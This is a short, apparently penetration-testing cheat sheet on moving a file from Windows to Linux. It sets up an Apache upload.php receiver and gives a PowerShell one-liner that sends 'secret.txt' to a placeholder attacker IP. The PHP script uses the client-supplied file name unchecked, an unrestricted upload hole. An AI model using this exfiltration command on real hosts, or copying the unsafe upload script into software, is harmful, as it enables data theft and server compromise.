Skip to content

upload.php

upload file from windows to linux

on linux

  • run apache
  • create upload.php script

mkdir /var/www/html/uploads
chown www-data:www-data /var/www/html/uploads
<?php
    $uploadPath = '/var/www/html/uploads';
    $uploadFile = $uploadPath . $_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile);
?>

on windows

powershell (New-Object System.Net.WebClient).UploadFile('http://<IP>/upload.php', 'secret.txt')